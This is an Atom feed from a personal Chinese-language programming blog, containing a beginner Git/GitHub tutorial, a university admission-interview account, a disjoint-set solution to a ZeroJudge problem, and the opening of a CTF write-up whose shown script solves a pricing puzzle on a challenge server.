<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>LDN&#39;s Blog</title>
  
  <subtitle>Record of my Journey</subtitle>
  <link href="https://blog.ldn970110.com/atom.xml" rel="self"/>
  
  <link href="https://blog.ldn970110.com/"/>
  <updated>2026-03-06T02:32:05.000Z</updated>
  <id>https://blog.ldn970110.com/</id>
  
  <author>
    <name>LDN97</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Git and GitHub</title>
    <link href="https://blog.ldn970110.com/2026/03/04/git-and-github/"/>
    <id>https://blog.ldn970110.com/2026/03/04/git-and-github/</id>
    <published>2026-03-04T05:55:21.000Z</published>
    <updated>2026-03-06T02:32:05.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>在軟體開發的世界裡，版本控制系統是不可或缺的工具，而Git和GitHub則是其中最熱門的選項。無論你是個人開發還是團隊協作，Git和GitHub都能幫助你更有效地管理程式碼及協作開發，甚至為全球頂尖的專案做出貢獻。這篇文章將簡單介紹Git和GitHub的基本概念跟實作，讓新手能快速上手這兩個強大的工具。</p><h2 id="Git介紹"><a href="#Git介紹" class="headerlink" title="Git介紹"></a>Git介紹</h2><h3 id="什麼是Git"><a href="#什麼是Git" class="headerlink" title="什麼是Git"></a>什麼是Git</h3><p>Git是一個免費、開源的分散式版本控制系統，最初由Linux核心的創始人Linus Torvalds所開發。你可以把它想像成程式碼專用的「時光機」與「協作雲端硬碟」，用來追蹤電腦上檔案的變更，並協調多人之間的開發工作。</p><h4 id="什麼是版本控制"><a href="#什麼是版本控制" class="headerlink" title="什麼是版本控制"></a>什麼是版本控制</h4><p>寫程式的時候，你可能會有許多創新的想法，但不一定每個都能完美運作，如果沒有版本控制，你就需要在每一次嘗試新的想法時，將整個專案備份來避免整個專案崩潰。在單人工作時這聽起來沒什麼，但當團隊協作時，每個人會在不同時間寫出不同程式碼，如果繼續使用上述的備份方法，會造成整個專案難以管理，這才催生出了版本控制的想法。版本控制簡單說就是專案的「歷史紀錄」，它會記錄每一次程式碼的變更，讓你可以隨時回到先前的版本，或是查看誰在什麼時候修改了什麼內容。</p><h3 id="Git的優勢"><a href="#Git的優勢" class="headerlink" title="Git的優勢"></a>Git的優勢</h3><ul><li><strong>記錄歷史變更</strong>：git會詳細記錄所有程式碼的變更(包含修改時間，變更內容，更改者)，如果新的程式碼出現嚴重錯誤，你就可以進行「時光倒流」，將程式回歸到先前版本。</li><li><strong>團隊協作</strong>：在團隊開發中，每個人都可以擁有一份完整的專案副本並獨立工作。完成工作後，Git能協助將所有人的程式碼安全地合併在一起，並標註出衝突的地方。</li><li><strong>多線開發</strong>：git可以建立「分支」來開發新功能或修復Bug。在分支上的任何改動都不會影響到主分支，確認分支沒問題後再將其「合併」回主線。</li></ul><h3 id="Git的基本術語介紹"><a href="#Git的基本術語介紹" class="headerlink" title="Git的基本術語介紹"></a>Git的基本術語介紹</h3><ol><li><p><strong>核心區塊</strong></p><ul><li><strong>Working Directory(工作目錄)</strong>：你目前正在電腦上編輯檔案的地方。</li><li><strong>Repository(儲存庫&#x2F;repo)</strong>：儲存所有版本及Git歷史紀錄的資料夾，分為「本地端(local)」(你的電腦)與「遠端 (Remote)」(如 GitHub、GitLab)。</li><li><strong>Staging Area&#x2F;Index(暫存區)</strong>：當你完成部分修改後，使用 <code>git add</code> 將檔案標記為「準備提交」的區域。</li></ul></li><li><p><strong>基本操作</strong></p><ul><li><strong>status(狀態)</strong>：查看目前專案的狀態，包含哪些檔案被修改了但還沒加入暫存區，哪些檔案已經加入暫存區但還沒提交。</li><li><strong>Add(加入)</strong>：將修改內容加入暫存區域。</li><li><strong>Commit(提交)</strong>：簡單說就是「存檔」，將暫存區的修改儲存到Git的歷史紀錄。</li><li><strong>Push(推送)</strong>：將本地端的提交(Commit)上傳到遠端儲存庫。</li><li><strong>Pull(拉取)</strong>：從遠端儲存庫下載最新的提交到本地端。</li><li><strong>Fetch(擷取)</strong>：同樣是下載遠端更新，但不會自動合併，讓你先檢查遠端有哪些變動。</li><li><strong>Clone(複製)</strong>：將遠端儲存庫完整複製一份到你的本地端。</li></ul></li><li><p><strong>分支與合併</strong></p><ul><li><strong>Branch(分支)</strong>：用來開發新功能或修復Bug的獨立線路。</li><li><strong>Merge(合併)</strong>：將分支上的修改整合回主線。</li><li><strong>Conflict(衝突)</strong>：當兩個分支修改了同一行程式碼，Git無法自動決定哪個版本正確，就會產生衝突，需要人工解決。</li><li><strong>Checkout&#x2F;Switch(切換)</strong>：在不同的分支之間切換，或是將檔案恢復到先前的狀態。</li></ul></li><li><p><strong>其他重要術語</strong></p><ul><li><strong>Remote(遠端)</strong>：指的是託管在網路上的原始碼版本，通常標籤為origin。</li><li><strong>Origin(原始碼)</strong>：Git預設給遠端儲存庫的名稱。</li><li><strong>Ignore(.gitignore)</strong>：用來指定哪些檔案或資料夾不應該被Git追蹤。</li></ul></li></ol><h2 id="GitHub介紹"><a href="#GitHub介紹" class="headerlink" title="GitHub介紹"></a>GitHub介紹</h2><h3 id="什麼是GitHub"><a href="#什麼是GitHub" class="headerlink" title="什麼是GitHub"></a>什麼是GitHub</h3><p>Github是一個基於Git的雲端託管平台，提供了版本控制和協作功能，讓開發者可以輕鬆地管理和分享程式碼。它不僅是一個儲存庫，還提供了許多工具來促進團隊合作、問題追蹤、代碼審查等。</p><h3 id="Github提供的服務"><a href="#Github提供的服務" class="headerlink" title="Github提供的服務"></a>Github提供的服務</h3><ul><li><strong>程式碼託管</strong>：提供免費和付費的儲存庫空間，讓開發者可以安全地存放和管理程式碼。</li><li><strong>協作工具</strong>：提供Pull Request、Issue、Project等功能，不僅提供團隊成員協作開發，也能讓外部貢獻者參與專案。</li><li><strong>自動化與 CI&#x2F;CD</strong>：GitHub Actions讓你可以自動化測試、部署等工作流程，提升開發效率。</li><li><strong>網站託管</strong>：GitHub Pages允許你直接從儲存庫中託管靜態網站，適合用來展示專案或個人作品集。</li><li><strong>社群與開源</strong>：GitHub是全球最大的開源社群，開發者可以輕鬆地找到和參與各種開源專案，分享知識和經驗。</li></ul><h3 id="GitHub常見術語介紹"><a href="#GitHub常見術語介紹" class="headerlink" title="GitHub常見術語介紹"></a>GitHub常見術語介紹</h3><ul><li><strong>Repository(儲存庫)</strong>：GitHub上的專案空間，包含程式碼、文件等內容。</li><li><strong>Issue(議題)</strong>：用來追蹤專案中的Bug、也可以提出新功能或建議給開發者。</li><li><strong>Fork(分叉)</strong>：將別人的專案複製到自己的帳號下，讓你可以自由修改而不影響原始專案。</li><li><strong>Pull Request(拉取請求)</strong>：當你對專案做出修改後，向原始專案提出合併請求，讓維護者審核你的修改。</li></ul><h2 id="Git安裝及GitHub註冊"><a href="#Git安裝及GitHub註冊" class="headerlink" title="Git安裝及GitHub註冊"></a>Git安裝及GitHub註冊</h2><h3 id="Git安裝"><a href="#Git安裝" class="headerlink" title="Git安裝"></a>Git安裝</h3><ol><li><strong>Windows</strong>：使用winget下載，輸入以下指令:<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">winget install --<span class="built_in">id</span> Git.Git -e --<span class="built_in">source</span> winget</span><br></pre></td></tr></table></figure></li><li><strong>macOS</strong>：使用 Xcode 命令列工具安裝，輸入以下指令:<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">xcode-select --install</span><br></pre></td></tr></table></figure></li><li><strong>Linux</strong>：使用包管理器安裝，根據不同的發行版輸入以下指令:<ul><li>Debian&#x2F;Ubuntu:<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt-get install git</span><br></pre></td></tr></table></figure></li><li>Fedora:<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> dnf install git</span><br></pre></td></tr></table></figure></li><li>Arch Linux:<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> pacman -S git</span><br></pre></td></tr></table></figure></li></ul></li></ol><h3 id="GitHub註冊"><a href="#GitHub註冊" class="headerlink" title="GitHub註冊"></a>GitHub註冊</h3><ol><li>打開瀏覽器，前往<a href="https://github.com/">GitHub官網</a>。</li><li>點擊右上角「Sign up」按鈕，填寫註冊表單。</li><li>填寫電子郵件，密碼及使用者名稱，然後點擊「Create account」</li><li>根據提示完成人機驗證</li></ol><h3 id="創建你的第一個倉庫"><a href="#創建你的第一個倉庫" class="headerlink" title="創建你的第一個倉庫"></a>創建你的第一個倉庫</h3><ol><li>登入GitHub後，點擊右上角的「Create repository」。</li><li>填寫倉庫名稱，填寫倉庫描述(可選)，選擇倉庫為公開(Public)或私有(Private)，並選擇是否創建README檔案和.gitignore檔案。</li><li>前往你本地上的專案，首先建立.gitignore檔案，將不需要被Git追蹤的檔案或資料夾加入其中，例如：<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># 忽略虛擬環境資料夾</span><br><span class="line">venv/</span><br><span class="line"># 忽略編譯產生的檔案</span><br><span class="line">__pycache__/</span><br><span class="line">*.pyc</span><br><span class="line"># 忽略敏感資訊檔案</span><br><span class="line">config.json</span><br><span class="line"># 忽略環境變數檔案</span><br><span class="line">.env</span><br></pre></td></tr></table></figure></li><li>在終端機中進入專案資料夾，使用以下指令將專案上傳到GitHub：<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 初始化Git倉庫</span></span><br><span class="line">git init </span><br><span class="line"><span class="comment"># 查看目前專案的狀態</span></span><br><span class="line">git status </span><br><span class="line"><span class="comment"># 將所有檔案加入暫存區</span></span><br><span class="line">git add . </span><br><span class="line"><span class="comment"># 提交修改，並添加提交訊息</span></span><br><span class="line">git commit -m <span class="string">&quot;Initial commit&quot;</span> </span><br><span class="line"><span class="comment"># 將預設分支名稱改為main</span></span><br><span class="line">git branch -M main </span><br><span class="line"><span class="comment"># 將本地倉庫與GitHub倉庫連結</span></span><br><span class="line">git remote add origin https://github.com/你的帳號/倉庫名稱.git </span><br><span class="line"><span class="comment"># 將本地提交推送到GitHub倉庫</span></span><br><span class="line">git push -u origin main </span><br></pre></td></tr></table></figure></li><li>現在你應該可以在GitHub上看到你的專案了</li></ol><h3 id="在github上協作"><a href="#在github上協作" class="headerlink" title="在github上協作"></a>在github上協作</h3><h4 id="Fork-分叉"><a href="#Fork-分叉" class="headerlink" title="Fork(分叉)"></a>Fork(分叉)</h4><p>當你想要參與一個專案的開發，但沒有寫入權限時，可以使用Fork功能。Fork會在你的GitHub帳號下創建一個原始專案的副本，讓你可以自由地修改和提交更改，而不會影響到原始專案。</p><h4 id="如何使用Fork"><a href="#如何使用Fork" class="headerlink" title="如何使用Fork"></a>如何使用Fork</h4><ol><li>前往你想要參與的專案頁面。</li><li>點擊右上角的「Fork」按鈕，GitHub會自動在你的帳號下創建一個副本。</li><li>在你的帳號下找到剛剛Fork的專案，點擊進入。</li><li>使用Git將Fork的專案Clone到你的本地端： <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/你的帳號/倉庫名稱.git</span><br></pre></td></tr></table></figure></li><li>在本地端進行修改，完成後提交更改：<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add .</span><br><span class="line">git commit -m <span class="string">&quot;你的提交訊息&quot;</span></span><br></pre></td></tr></table></figure></li><li>將修改推送到你的Fork專案：<figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git push origin main</span><br></pre></td></tr></table></figure></li><li>回到原始專案頁面，點擊「New pull request」按鈕，選擇你的Fork專案和分支，然後提交Pull Request，等待原始專案的維護者審核和合併。</li></ol><h4 id="Pull-Request-所以我說PR到底應該怎麼翻譯"><a href="#Pull-Request-所以我說PR到底應該怎麼翻譯" class="headerlink" title="Pull Request(所以我說PR到底應該怎麼翻譯)"></a>Pull Request(所以我說PR到底應該怎麼翻譯)</h4><p>Pull Request是GitHub上的一個功能，允許開發者在Fork的專案中進行修改後，向原始專案提出合併請求。維護者可以審核你的修改，並決定是否將其合併到原始專案中。  </p><h4 id="如何進行Pull-Request"><a href="#如何進行Pull-Request" class="headerlink" title="如何進行Pull Request"></a>如何進行Pull Request</h4><ol><li>在你完成你對Fork專案的修改並推送到GitHub後，前往原始專案頁面。</li><li>點擊「New pull request」按鈕。</li><li>在「Compare changes」頁面，選擇你的Fork專案和分支，GitHub會自動比較你的修改與原始專案的差異。</li><li>確認修改內容無誤後，點擊「Create pull request」。</li><li>填寫Pull Request的標題和描述，說明你所做的修改和為什麼需要這些修改。</li><li>點擊「Create pull request」提交你的請求，等待原始專案的維護者審核和合併。</li></ol><h2 id="結語"><a href="#結語" class="headerlink" title="結語"></a>結語</h2><p>以上是一些基本的Git和GitHub觀念跟操作，當然這只是冰山一角，Git和Github還有很多進階的使用技巧及服務(如GitHub Actions、GitHub Pages等)，如果有時間的話考慮再寫個GitHub Pages部屬?<br>如果新手對指令感到眼花撩亂，現在有很多圖形化的Git工具(如GitHub Desktop、Sourcetree、甚至是VSCode內建的Git功能)，都很推薦新手可以使用。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;在軟體開發的世界裡，版本控制系統是不可或缺的工具，而Git和GitHub則是其中最熱門的選項。無論你是個人開發還是團隊協作，Git和GitH</summary>
      
    
    
    
    <category term="程式" scheme="https://blog.ldn970110.com/categories/%E7%A8%8B%E5%BC%8F/"/>
    
    
    <category term="git" scheme="https://blog.ldn970110.com/tags/git/"/>
    
    <category term="版本控制" scheme="https://blog.ldn970110.com/tags/%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6/"/>
    
  </entry>
  
  <entry>
    <title>115年高大資工特選心得</title>
    <link href="https://blog.ldn970110.com/2026/01/06/%E7%89%B9%E9%81%B8%E5%BF%83%E5%BE%97/"/>
    <id>https://blog.ldn970110.com/2026/01/06/%E7%89%B9%E9%81%B8%E5%BF%83%E5%BE%97/</id>
    <published>2026-01-06T02:29:06.000Z</published>
    <updated>2026-03-04T05:58:20.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>首先，我很菜，但我還是想分享我的經驗供後人參考。</p><h3 id="特選動機"><a href="#特選動機" class="headerlink" title="特選動機"></a>特選動機</h3><p>我是高一第一次接觸程式（當時學的 Python），花了大概一年奠定基礎，高二上考到 APCS 43，當時是看到學長特上成大，加上自己那個沒救的成績，才決定要開始準備特選。我個人是<strong>非常不推薦</strong>各位模仿我到高二下才決定要開始準備特選（甚至是 all in），我今天能上高大真的是運氣好，不然大概是會沒學校的（我很多間都備取超後面）。<br>然後我會下定決心特選是因為我看到了<a href="https://hackmd.io/@Liquan127/r1B7XghD1g">這篇</a>文章，因為我的經歷跟他真的太像了，所以我才下定決心放手一搏。</p><h3 id="個人經歷"><a href="#個人經歷" class="headerlink" title="個人經歷"></a>個人經歷</h3><ul><li>APCS 觀念 4 &#x2F; 實作 3</li><li>參加資訊學科能力競賽複賽（就真的只有參加）</li><li>電腦研究社社長兼教學</li><li>CPE 2 題</li><li>scist2025寒訓 隊輔組</li><li>很多亂七八糟的專案（DC 機器人，YT 影片下載器，這兩個是我有放到書審的）</li><li>一張 Google 資安證書</li></ul><h2 id="報名的學校及結果"><a href="#報名的學校及結果" class="headerlink" title="報名的學校及結果"></a>報名的學校及結果</h2><ul><li><strong>高雄大學 資工</strong> 備 4（備上了）</li><li><strong>逢甲大學 資工</strong> 備 18(備上了)</li><li><strong>淡江大學 資工</strong> 備 15</li><li><strong>嘉義大學 資工</strong> 備 7(備上了)</li><li><strong>元智大學 資工</strong> 備 14(備上了)</li></ul><p>然後中字以上的一階都被刷了，只有成大上機考有去而已。</p><h2 id="面試心得"><a href="#面試心得" class="headerlink" title="面試心得"></a>面試心得</h2><p>面試每一間基本都差不多，基本上就是進去自我介紹然後問答時間。我這邊簡單分享高大面試過程跟我的面試心得。</p><h3 id="高大面試"><a href="#高大面試" class="headerlink" title="高大面試"></a>高大面試</h3><p>高大是一對三面試，進去之後有三位教授，桌子上放著三張寫著問題的板子（自我介紹，個人經歷，讀書計畫），一開始會先讓大家自我介紹，這時候就順順的把你的自介念完就好，教授可能會在你自介念完之後問你自介相關的問題，所以自介要好好寫。</p><p>接下來是個人經歷的部份，就把你最好最有自信的經驗講出來，我當時是講 APCS 43，CPE 兩題，還有學科能力競賽。當下是想讓教授問我程式經驗的部分，但我沒想到教授會誇我程式能力不錯，這是有點嚇到我了。要注意這個部分教授不會讓你把你的經歷講完，所以記得把你最有自信的經驗拿出來講，不然被問了講不出來就很尷尬，像我右邊那位講的是科展的部分，結果教授問他程式的部分他回答不出來。</p><p>最後是讀書計畫，這部分我們這組因為有人在拖時間的關係沒有問答到，我就簡單地把我接下來半年要參加的活動，以及上大學及研究所之後的規劃講出來，教授聽完也沒多問什麼。</p><h3 id="面試心得-1"><a href="#面試心得-1" class="headerlink" title="面試心得"></a>面試心得</h3><p>面試最重要的就是要有自信，念自介的時候不能抖，然後教授問妳問題的時候如果回答不上來不要緊張，就跟教授說自己這部分沒有研究的很深入就好。當然最好是不要遇到這種情況比較好，所以模擬面試很重要（雖然我都沒去）。</p><p>服裝的部分我個人是沒有特別穿西裝，一件資工襯衫配白衣服跟長褲而已。我跟我朋友是都沒特別穿得很正式，人看起來乾淨整潔就好，重點還是你有沒有料（我就是那個沒料還不打扮的）。</p><h2 id="心路歷程"><a href="#心路歷程" class="headerlink" title="心路歷程"></a>心路歷程</h2><p>正式開始準備特選大概是九月初，特選最重要的就是備審跟面試，接下來我會分享這兩部分的心得。</p><h3 id="備審"><a href="#備審" class="headerlink" title="備審"></a>備審</h3><p>備審的部分是很花時間的，特選的書審繳交期限普遍落在 10 月到 11 月，因此建議 9 月中就要開始準備，最晚 9 月底要開始，因為備審會遇到的問題比你想像的要多很多。</p><p>首先你要從 0 開始生出一份履歷就很花時間了，接下來你還要針對每個部份的用詞作微調，這部分建議要找別人幫忙，可以找比較熟的老師幫你看看，請他們給你建議，也可以去找學長姐或同學幫你看看。然後整份備審砍掉重來是很常見的事，我前前後後光是自介就改了五六次，然後又把整份重寫了一次，前前後後大概花了一個月。</p><h3 id="面試準備"><a href="#面試準備" class="headerlink" title="面試準備"></a>面試準備</h3><p>面試的部分我個人是沒有準備，但我還是推薦不管你今天是特選還是個申，只要有面試的環節都要參加模擬面試，除了提前預測一下大概會被問到什麼，也可以幫助你習慣面試當下的情況。我原本以為以我跑活動的經驗，進去跟教授聊天應該是還好，結果是我台南面試進去抖到一個靠杯，所以模擬面試真的很重要。</p><h2 id="結語"><a href="#結語" class="headerlink" title="結語"></a>結語</h2><p>以上就是我這個菜雞的特選心得分享，特殊選材是一個很需要實力的東西，你需要在高中三年累積經驗跟實力，如果只是學測生想碰運氣看能不能提前上岸的話，那我會建議你別浪費錢，特選報名費一間大概在 800-1200，報個十間就要破萬了。當然如果你有錢也是可以廣撒網，把除了頂大之外的大學全部報一報，稍微有點東西的話上個地名大學還是不難的。</p><p>最後來推廣一下特選群，這是一個每年都會有的 Discord 群組，裡面會有很多特選的前輩，也提供交換備審跟心得彙整，都不需要的話進去跟其他特選生聊聊天也是可以的。</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;首先，我很菜，但我還是想分享我的經驗供後人參考。&lt;/p&gt;
&lt;h3 id=&quot;特選動機&quot;&gt;&lt;a href=&quot;#特選動機&quot; class=&quot;head</summary>
      
    
    
    
    <category term="紀錄" scheme="https://blog.ldn970110.com/categories/%E7%B4%80%E9%8C%84/"/>
    
    
    <category term="心得" scheme="https://blog.ldn970110.com/tags/%E5%BF%83%E5%BE%97/"/>
    
    <category term="特選" scheme="https://blog.ldn970110.com/tags/%E7%89%B9%E9%81%B8/"/>
    
    <category term="大學" scheme="https://blog.ldn970110.com/tags/%E5%A4%A7%E5%AD%B8/"/>
    
  </entry>
  
  <entry>
    <title>f260題解</title>
    <link href="https://blog.ldn970110.com/2025/11/25/disjoint_set/"/>
    <id>https://blog.ldn970110.com/2025/11/25/disjoint_set/</id>
    <published>2025-11-25T06:11:31.000Z</published>
    <updated>2026-03-04T05:58:20.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="f260-愛八卦的同學"><a href="#f260-愛八卦的同學" class="headerlink" title="f260. 愛八卦的同學"></a><a href="https://zerojudge.tw/ShowProblem?problemid=f260">f260. 愛八卦的同學</a></h1><h2 id="題目分析"><a href="#題目分析" class="headerlink" title="題目分析"></a>題目分析</h2><p>班上共有編號 0 到 n−1 的同學，並給定 k 組朋友關係 (a, b)。由於題目規定「朋友的朋友」也視為同一小團體，因此可利用並查集 (Disjoint Set) 來進行群組合併與查詢。</p><h2 id="並查集-Disjoint-Set"><a href="#並查集-Disjoint-Set" class="headerlink" title="並查集 (Disjoint Set)"></a>並查集 (Disjoint Set)</h2><p>並查集是一種資料結構，用於維護<strong>不相交集合</strong>。主要由兩個操作組成：</p><h3 id="Find-x-—-尋找所屬集合的根節點"><a href="#Find-x-—-尋找所屬集合的根節點" class="headerlink" title="Find(x) — 尋找所屬集合的根節點"></a>Find(x) — 尋找所屬集合的根節點</h3><p>若 x 不是自己的父節點，會將路徑壓縮，使樹更扁平，提高效率。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">find</span>(<span class="params">self, a</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="variable language_">self</span>.parent[a] != a:</span><br><span class="line">        <span class="variable language_">self</span>.parent[a] = <span class="variable language_">self</span>.find(<span class="variable language_">self</span>.parent[a])  <span class="comment"># 路徑壓縮</span></span><br><span class="line">    <span class="keyword">return</span> <span class="variable language_">self</span>.parent[a]</span><br></pre></td></tr></table></figure><h3 id="Union-a-b-—-合併-a-與-b-所屬的集合"><a href="#Union-a-b-—-合併-a-與-b-所屬的集合" class="headerlink" title="Union(a, b) — 合併 a 與 b 所屬的集合"></a>Union(a, b) — 合併 a 與 b 所屬的集合</h3><p>為避免退化成鏈狀樹，合併時會按大小合併，小樹掛到大樹下，使樹維持高度較小。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">union</span>(<span class="params">self, a, b</span>):</span><br><span class="line">    ra = <span class="variable language_">self</span>.find(a)</span><br><span class="line">    rb = <span class="variable language_">self</span>.find(b)</span><br><span class="line">    <span class="keyword">if</span> ra == rb:</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    <span class="keyword">if</span> <span class="variable language_">self</span>.size[ra] &lt; <span class="variable language_">self</span>.size[rb]:</span><br><span class="line">        <span class="variable language_">self</span>.parent[ra] = rb</span><br><span class="line">        <span class="variable language_">self</span>.size[rb] += <span class="variable language_">self</span>.size[ra]</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="variable language_">self</span>.parent[rb] = ra</span><br><span class="line">        <span class="variable language_">self</span>.size[ra] += <span class="variable language_">self</span>.size[rb]</span><br></pre></td></tr></table></figure><h2 id="解題流程"><a href="#解題流程" class="headerlink" title="解題流程"></a>解題流程</h2><ol><li>輸入直到 EOF，對於每一筆測資，建立 DSU，初始化 n 個人，各自為一組</li><li>讀入 k 組朋友 (a, b)，呼叫 union(a, b)</li><li>所有合併完成後，對每個人 (i &#x3D; 0 ~ n-1) 呼叫 find(i)，找出每個的根節點並使用 set() 去除重複</li><li>輸出 set 長度即是小團體個數</li></ol><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="built_in">input</span> = sys.stdin.readline</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">DSU</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, n</span>):</span><br><span class="line">        <span class="variable language_">self</span>.parent = [i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n)]</span><br><span class="line">        <span class="variable language_">self</span>.size = [<span class="number">1</span>] * n</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">find</span>(<span class="params">self, a</span>):</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> <span class="variable language_">self</span>.parent[a] != a:</span><br><span class="line">            <span class="variable language_">self</span>.parent[a] = <span class="variable language_">self</span>.find(<span class="variable language_">self</span>.parent[a])</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">self</span>.parent[a]</span><br><span class="line"></span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">union</span>(<span class="params">self, a, b</span>):</span><br><span class="line">        ra = <span class="variable language_">self</span>.find(a)</span><br><span class="line">        rb = <span class="variable language_">self</span>.find(b)</span><br><span class="line">        <span class="keyword">if</span> ra == rb:</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        <span class="keyword">if</span> <span class="variable language_">self</span>.size[ra] &lt; <span class="variable language_">self</span>.size[rb]:</span><br><span class="line">            <span class="variable language_">self</span>.parent[ra] = rb</span><br><span class="line">            <span class="variable language_">self</span>.size[rb] += <span class="variable language_">self</span>.size[ra]</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="variable language_">self</span>.parent[rb] = ra</span><br><span class="line">            <span class="variable language_">self</span>.size[ra] += <span class="variable language_">self</span>.size[rb]</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        n, k = <span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">input</span>().split())</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">    dsu = DSU(n)</span><br><span class="line">    <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(k):</span><br><span class="line">        a, b = <span class="built_in">map</span>(<span class="built_in">int</span>, <span class="built_in">input</span>().split())</span><br><span class="line">        dsu.union(a, b)</span><br><span class="line">    roots = <span class="built_in">set</span>()</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n):</span><br><span class="line">        roots.add(dsu.find(i))</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">len</span>(roots))</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;f260-愛八卦的同學&quot;&gt;&lt;a href=&quot;#f260-愛八卦的同學&quot; class=&quot;headerlink&quot; title=&quot;f260. 愛八卦的同學&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://zerojudge.tw/ShowProblem?problemid=</summary>
      
    
    
    
    <category term="程式" scheme="https://blog.ldn970110.com/categories/%E7%A8%8B%E5%BC%8F/"/>
    
    
    <category term="筆記" scheme="https://blog.ldn970110.com/tags/%E7%AD%86%E8%A8%98/"/>
    
    <category term="競程" scheme="https://blog.ldn970110.com/tags/%E7%AB%B6%E7%A8%8B/"/>
    
    <category term="python" scheme="https://blog.ldn970110.com/tags/python/"/>
    
  </entry>
  
  <entry>
    <title>SCIST Python CTF - Writeup</title>
    <link href="https://blog.ldn970110.com/2025/11/08/scist-s6-2-hw/"/>
    <id>https://blog.ldn970110.com/2025/11/08/scist-s6-2-hw/</id>
    <published>2025-11-08T03:57:00.000Z</published>
    <updated>2026-03-04T05:58:20.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="SCIST-Python-CTF-Writeup"><a href="#SCIST-Python-CTF-Writeup" class="headerlink" title="SCIST Python CTF - Writeup"></a>SCIST Python CTF - Writeup</h1><h2 id="PPC"><a href="#PPC" class="headerlink" title="PPC"></a>PPC</h2><h3 id="Department-store-anniversary-100"><a href="#Department-store-anniversary-100" class="headerlink" title="Department store anniversary 100"></a>Department store anniversary 100</h3><p>題目要求進行100次買二送一的挑戰。將商品價格排序後，為了讓免費商品價值最大，我們應該總是選擇清單中價格最高的商品來付費，並讓緊隨其後價格第三高的商品作為免費回饋。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;210.70.138.221&quot;</span></span><br><span class="line">PORT = <span class="number">10007</span></span><br><span class="line"></span><br><span class="line">r = remote(HOST, PORT)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">100</span>):</span><br><span class="line">    r.recvuntil(<span class="string">b&#x27;----- wave &#x27;</span> + <span class="built_in">str</span>(i+<span class="number">1</span>).encode() + <span class="string">b&#x27;/100 -----\n&#x27;</span>)</span><br><span class="line">    text = r.recvline().decode().strip()</span><br><span class="line">    num_str = text.split(<span class="string">&#x27;:&#x27;</span>, <span class="number">1</span>)[<span class="number">1</span>].strip()</span><br><span class="line">    nums = <span class="built_in">list</span>(<span class="built_in">map</span>(<span class="built_in">int</span>, num_str.split()))</span><br><span class="line">    nums.sort(reverse=<span class="literal">True</span>)</span><br><span class="line">    s = <span class="built_in">sum</span>([nums[j] <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, <span class="built_in">len</span>(nums), <span class="number">3</span>)])</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">f&quot;[+] Wave <span class="subst">&#123;i+<span class="number">1</span>&#125;</span>/100: Answer = <span 